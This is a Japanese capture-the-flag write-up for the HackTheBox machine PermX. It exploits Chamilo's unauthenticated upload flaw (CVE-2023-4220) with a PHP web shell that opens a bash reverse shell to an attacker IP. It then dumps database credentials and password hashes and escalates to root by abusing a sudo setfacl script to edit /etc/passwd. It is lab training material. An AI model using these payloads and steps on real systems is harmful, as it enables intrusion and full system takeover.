はじめに
本記事はHackTheBoxのWriteupです。
Machineは、PermXです。
PermXでは、Chamiloの脆弱性とLinuxのACLについて学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 20:03 JST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
2976/tcp closed cns-srv-port
10277/tcp closed unknown
27317/tcp closed unknown
31391/tcp closed unknown
33055/tcp closed unknown
33797/tcp closed unknown
35520/tcp closed unknown
37300/tcp closed unknown
39224/tcp closed unknown
41561/tcp closed unknown
46991/tcp closed unknown
57671/tcp closed unknown
58660/tcp closed unknown
61706/tcp closed unknown
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.69 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後permx.htb
にアクセスすると、以下の様な画面が表示されます。
eラーニングのWebサイトが確認できました。
サブドメイン
トップページでは特に気になる点は見当たらなかったため、引き続きffuwを用いてサブドメインの列挙を行います。レスポンス結果を踏まえて、レスポンスサイズの値に規則性はないため、-fc
オプションを使用してステータスコードの302を除外します。
$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -c -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 592ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 293ms]
:: Progress: [4989/4989] :: Job [1/1] :: 154 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
lmsのサブドメインを検出したのでアクセスすると、別のページが確認できました。
確認した結果、eラーニングおよびコンテンツ管理システムを提供するフリーソフトウェアのChamiloであることが分かりました。
脆弱性分析
足場を作るために利用可能な脆弱性を探します。
トップページのソースコードを確認すると、Chamiloのバージョンは1であることが推定できます。
バージョン情報を参考に脆弱性を調査した結果、CVE-2023-4220が見つかりました。
システムハッキング
CVE-2023-4220の脆弱性を利用して足場を作ります。
アクセスの獲得
脆弱性を利用するために、main/inc/lib/javascript/bigupload/inc/bigUpload.php
ファイルにアクセスできることを確認します。
(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Executionの記事を参考にしながらエクスプロイトを行うためのコードを用意します。
- rce.php
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/<IP address>/4444 0>&1'"); ?>
リバースシェルを取得するリスナーは事前に用意しておきます。
$ nc -lnvp 4444
以下のコマンドを実行して、用意したrce.php
ファイルをアップロードします。
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
アップロードが成功すると、以下の様なメッセージが出力されます。
The file has successfully been uploaded.
以下のコマンドを実行して、リバースシェルを取得します。
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.11.23] 43802
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。
┌──(kali㉿kali)-[~/shell]
└──$ stty raw -echo; fg
nc -lnvp 4444
<c/lib/javascript/bigupload/files$ export TERM=xterm
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ export SHELL=bash
ユーザーフラグ
/home
配下のディレクトリを確認すると、mtzユーザーが確認できます。
total 4
drwxr-x--- 5 mtz mtz 4096 Sep 2 13:48 mtz
mtzユーザーの認証情報を探します。
調査を続けると、3306ポートでMariaDBのサービスが起動していることが確認できます。
$ ss -aln -t4
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
効率的に認証情報を探すため、LinPEASを利用します。
linpeas.shを実行すると、/var/www/chamilo/app/config/configuration.php
ファイルからDBの認証情報を発見しました。
┌───────────┐ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php: 'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php: 'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php: 'wget_password' => '',
/var/www/chamilo/app/config/configuration.php: 'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '****************';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
/var/www/chamilo/app/config/configuration.php://$_configuration['force_renew_password_at_first_login'] = true;
/var/www/chamilo/app/config/configuration.php://$_configuration['password_conversion'] = false;
/var/www/chamilo/cli-config.php: 'password' => $_configuration['db_password'],
/var/www/chamilo/main/admin/db.php:';if($Qd=="auth"){$Ce="";foreach((array)$_SESSION["pwds"]as$mh=>$Mf){foreach($Mf
/var/www/chamilo/main/admin/db.php:<tr><th>Password<td><input name="pass" id="pass" value="',h($L["pass"]),'" autocomplete="new-password">
/var/www/chamilo/main/install/configuration.dist.php: 'show_password_field' => false,
/var/www/chamilo/main/install/configuration.dist.php: 'show_password_field' => true,
/var/www/chamilo/main/install/configuration.dist.php: 'wget_password' => '',
/var/www/chamilo/main/install/configuration.dist.php: 'force_different_password' => false,
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['db_password'] = '{DATABASE_PASSWORD}';
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['password_encryption'] = '{ENCRYPT_PASSWORD}';
/var/www/chamilo/main/install/configuration.dist.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['force_renew_password_at_first_login'] = true;
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['password_conversion'] = false;
/var/www/chamilo/main/install/update-configuration.inc.php: } elseif (stripos($line, '$userPasswordCrypted') !== false) {
/var/www/chamilo/plugin/buycourses/database.php: 'password' => '',
/var/www/chamilo/plugin/buycourses/database.php: $paypalTable->addColumn('password', Types::STRING);
上記結果を基に/var/www/chamilo/app/config/configuration.php
ファイルを確認します。
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '***************';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
発見したDBの認証情報を用いてログインします。
mysql -u chamilo -h localhost -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 51
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
データベースを確認して、chamiloのデータベースに接続します。
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| chamilo |
| information_schema |
+--------------------+
2 rows in set (0.000 sec)
テーブルを確認します。
出力例
MariaDB [chamilo]> show tables;
+-------------------------------------+
| Tables_in_chamilo |
+-------------------------------------+
| access_url |
| access_url_rel_course |
| access_url_rel_course_category |
| access_url_rel_session |
| access_url_rel_user |
| access_url_rel_usergroup |
| admin |
| announcement_rel_group |
| block |
| branch_sync |
| branch_transaction |
| branch_transaction_status |
| c_announcement |
| c_announcement_attachment |
| c_attendance |
| c_attendance_calendar |
| c_attendance_calendar_rel_group |
| c_attendance_result |
| c_attendance_sheet |
| c_attendance_sheet_log |
| c_blog |
| c_blog_attachment |
| c_blog_comment |
| c_blog_post |
| c_blog_rating |
| c_blog_rel_user |
| c_blog_task |
| c_blog_task_rel_user |
| c_calendar_event |
| c_calendar_event_attachment |
| c_calendar_event_repeat |
| c_calendar_event_repeat_not |
| c_chat_connected |
| c_course_description |
| c_course_setting |
| c_document |
| c_dropbox_category |
| c_dropbox_feedback |
| c_dropbox_file |
| c_dropbox_person |
| c_dropbox_post |
| c_forum_attachment |
| c_forum_category |
| c_forum_forum |
| c_forum_mailcue |
| c_forum_notification |
| c_forum_post |
| c_forum_thread |
| c_forum_thread_qualify |
| c_forum_thread_qualify_log |
| c_glossary |
| c_group_category |
| c_group_info |
| c_group_rel_tutor |
| c_group_rel_user |
| c_item_property |
| c_link |
| c_link_category |
| c_lp |
| c_lp_category |
| c_lp_category_user |
| c_lp_item |
| c_lp_item_view |
| c_lp_iv_interaction |
| c_lp_iv_objective |
| c_lp_view |
| c_notebook |
| c_online_connected |
| c_online_link |
| c_permission_group |
| c_permission_task |
| c_permission_user |
| c_quiz |
| c_quiz_answer |
| c_quiz_question |
| c_quiz_question_category |
| c_quiz_question_option |
| c_quiz_question_rel_category |
| c_quiz_rel_category |
| c_quiz_rel_question |
| c_resource |
| c_role |
| c_role_group |
| c_role_permissions |
| c_role_user |
| c_student_publication |
| c_student_publication_assignment |
| c_student_publication_comment |
| c_student_publication_rel_document |
| c_student_publication_rel_user |
| c_survey |
| c_survey_answer |
| c_survey_group |
| c_survey_invitation |
| c_survey_question |
| c_survey_question_option |
| c_thematic |
| c_thematic_advance |
| c_thematic_plan |
| c_tool |
| c_tool_intro |
| c_userinfo_content |
| c_userinfo_def |
| c_wiki |
| c_wiki_conf |
| c_wiki_discuss |
| c_wiki_mailcue |
| career |
| chat |
| chat_video |
| class_item |
| class_user |
| course |
| course_category |
| course_module |
| course_rel_class |
| course_rel_user |
| course_rel_user_catalogue |
| course_request |
| course_type |
| event_email_template |
| event_sent |
| extra_field |
| extra_field_option_rel_field_option |
| extra_field_options |
| extra_field_rel_tag |
| extra_field_saved_search |
| extra_field_values |
| fos_group |
| fos_user_user_group |
| grade_components |
| grade_model |
| gradebook_category |
| gradebook_certificate |
| gradebook_evaluation |
| gradebook_link |
| gradebook_linkeval_log |
| gradebook_result |
| gradebook_result_log |
| gradebook_score_display |
| gradebook_score_log |
| hook_call |
| hook_event |
| hook_observer |
| language |
| legal |
| message |
| message_attachment |
| notification |
| openid_association |
| personal_agenda |
| personal_agenda_repeat |
| personal_agenda_repeat_not |
| promotion |
| room |
| search_engine_ref |
| sequence |
| sequence_condition |
| sequence_formula |
| sequence_method |
| sequence_resource |
| sequence_row_entity |
| sequence_rule |
| sequence_rule_condition |
| sequence_rule_method |
| sequence_type_entity |
| sequence_valid |
| sequence_value |
| sequence_variable |
| session |
| session_category |
| session_rel_course |
| session_rel_course_rel_user |
| session_rel_user |
| settings_current |
| settings_options |
| shared_survey |
| shared_survey_question |
| shared_survey_question_option |
| skill |
| skill_level |
| skill_level_profile |
| skill_profile |
| skill_rel_gradebook |
| skill_rel_profile |
| skill_rel_skill |
| skill_rel_user |
| skill_rel_user_comment |
| specific_field |
| specific_field_values |
| sys_announcement |
| sys_calendar |
| system_template |
| tag |
| templates |
| ticket_assigned_log |
| ticket_category |
| ticket_category_rel_user |
| ticket_message |
| ticket_message_attachments |
| ticket_priority |
| ticket_project |
| ticket_status |
| ticket_ticket |
| track_course_ranking |
| track_e_access |
| track_e_attempt |
| track_e_attempt_coeff |
| track_e_attempt_recording |
| track_e_course_access |
| track_e_default |
| track_e_downloads |
| track_e_exercises |
| track_e_hotpotatoes |
| track_e_hotspot |
| track_e_item_property |
| track_e_lastaccess |
| track_e_links |
| track_e_login |
| track_e_online |
| track_e_open |
| track_e_uploads |
| track_stored_values |
| track_stored_values_stack |
| user |
| user_api_key |
| user_course_category |
| user_friend_relation_type |
| user_rel_course_vote |
| user_rel_event_type |
| user_rel_tag |
| user_rel_user |
| usergroup |
| usergroup_rel_course |
| usergroup_rel_question |
| usergroup_rel_session |
| usergroup_rel_user |
| usergroup_rel_usergroup |
| version |
+-------------------------------------+
239 rows in set (0.002 sec)
userテーブルを確認すると、別の認証情報が確認できました。
MariaDB [chamilo]> select * from user;
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
| id | user_id | username | username_canonical | email_canonical | email | locked | enabled | expired | credentials_expired | credentials_expire_at | expires_at | lastname | firstname | password | phone | address | salt | last_login | created_at | updated_at | confirmation_token | password_requested_at | roles | profile_completed | auth_source | status | official_code | picture_uri | creator_id | competences | diplomas | openarea | teach | productions | language | registration_date | expiration_date | active | openid | theme | hr_dept_id |
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
| 1 | 1 | admin | admin | admin@permx.htb | admin@permx.htb | 0 | 1 | 0 | 0 | NULL | NULL | Miller | Davis | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra | (000) 001 02 03 | | awb0kMoTumbFvi22ojwv.Pg92gFTMOt837kWsGVbJN4 | 2024-01-20 18:44:07 | NULL | NULL | NULL | NULL | a:1:{i:0;s:16:"ROLE_SUPER_ADMIN";} | NULL | platform | 1 | ADMIN | | 0 | NULL | NULL | NULL | NULL | NULL | english | 2024-01-20 18:20:32 | NULL | 1 | NULL | NULL | 0 |
| 2 | 2 | anon | anon | anonymous@example.com | anonymous@example.com | 0 | 1 | 0 | 0 | NULL | NULL | Anonymous | Joe | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS | | | Mr1pyTT.C/oEIPb/7ezOdrCDKM.KHb0nrXAUyIyt/MY | NULL | NULL | NULL | NULL | NULL | a:0:{} | NULL | platform | 6 | anonymous | | 0 | NULL | NULL | NULL | NULL | NULL | english | 2024-01-20 18:20:32 | NULL | 1 | NULL | NULL | 0 |
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
2 rows in set (0.000 sec)
パスワードはbcrypで暗号化されているため、hashcatを用いて解析を試みましたが、ウサギの穴でした。
結果的にDBの認証情報を用いてSSHでログインできました。
ssh mtz@10.10.11.23
mtz@10.10.11.23's password:
ログイン後、ユーザーフラグが確認できます。
total 36
drwxr-x--- 5 mtz mtz 4096 Sep 2 14:10 ./
drwxr-xr-x 3 root root 4096 Jan 20 2024 ../
lrwxrwxrwx 1 root root 9 Jan 20 2024 .bash_history -> /dev/null
-rw-r--r-- 1 mtz mtz 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 mtz mtz 3771 Jan 6 2022 .bashrc
drwx------ 2 mtz mtz 4096 May 31 11:14 .cache/
drwxrwxr-x 3 mtz mtz 4096 Sep 2 13:46 .local/
lrwxrwxrwx 1 root root 9 Jan 20 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 mtz mtz 807 Jan 6 2022 .profile
drwx------ 2 mtz mtz 4096 Jan 20 2024 .ssh/
-rw-r----- 1 root mtz 33 Sep 2 13:46 user.txt
ルートフラグ
権限昇格を狙うにあたり以下のコマンドを実行して、sudo
の権限を確認します。
コマンドの実行結果より/opt/acl.sh
ファイルは、パスワードなしで実行できることが確認できます。
$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
/opt/acl.sh
ファイルの権限を確認します。
-rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh*
/opt/acl.sh
ファイルを参照すると、setfacl
を実行することで拡張属性として特定のユーザーに対してアクセス権限を追加できることが分かります。
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
上記確認結果を踏まえて、/opt/acl.sh
ファイルを利用することで権限昇格を行なえます。
例として/etc/passwd
ファイルのシンボリックリンクを作成します。
$ ln -s /etc/passwd passwd_link
lrwxrwxrwx 1 mtz mtz 11 Sep 2 14:19 passwd_link -> /etc/passwd
以下の形式で/opt/acl.sh
ファイルを実行します。
$ sudo /opt/acl.sh mtz rw /home/mtz/passwd_link
拡張属性としてmtzユーザーに対するアクセス権限が追加されたことが確認できます。
$ getfacl /etc/passwd
getfacl: Removing leading '/' from absolute path names
# file: etc/passwd
# owner: root
# group: root
user::rw-
user:mtz:rw-
group::r--
mask::rw-
other::r--
仕上げに/etc/passwd
ファイルを編集して、mtzユーザーのuidを0に変更します。
mtz:x:0:1000:mtz:/home/mtz:/bin/bash
/etc/passwd
ファイルを編集後、再度mtzユーザーにログインします。
$ su - mtz
ルートユーザーに昇格できました。
$ id
uid=0(root) gid=1000(mtz) groups=1000(mtz)
おわりに
ウサギの穴にハマりましたが、面白いMachineでした。